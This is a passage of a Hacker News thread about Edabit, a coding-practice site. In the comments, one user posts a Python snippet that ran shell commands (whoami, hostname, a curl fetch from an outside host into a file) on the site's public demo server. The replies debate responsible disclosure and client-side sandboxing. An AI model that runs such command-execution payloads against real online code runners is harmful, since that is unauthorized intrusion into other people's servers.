Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.
Show HN: Edabit – Like Duolingo for Learning to Code
61–70 of 134 posts
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#62Re: Show HN: Edabit – Like Duolingo for Learning to Code
#63Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#64Earlier quoted context omitted.
I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.
I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#65Re: Show HN: Edabit – Like Duolingo for Learning to Code
#66I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#67I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.
I’m confused as to how anyone would think this is alright to do.
Could be placeholders from development that ended up going live. I wouldn't jump to conclusion.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#68Earlier quoted context omitted.
He needs to be running a client-side service, not running whatever someone enters on his machine
> "He needs to be running a client-side service, not running whatever someone enters on his machine" I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running suc…
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#69Earlier quoted context omitted.
He needs to be running a client-side service, not running whatever someone enters on his machine
I wonder if WebAssembly could help accomplish that. Still, even Rust has a compile-and-execute web service call accessible from the rust-lang home page. If Rust people (who tend to emphasize security) feel it is possible to secure that web service, then I'm inclined to believe them. It may be difficult though.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#70Earlier quoted context omitted.
And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.
Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.
Not saying that's Apple's reason, but being limited to local execution doesn't mean it's safe.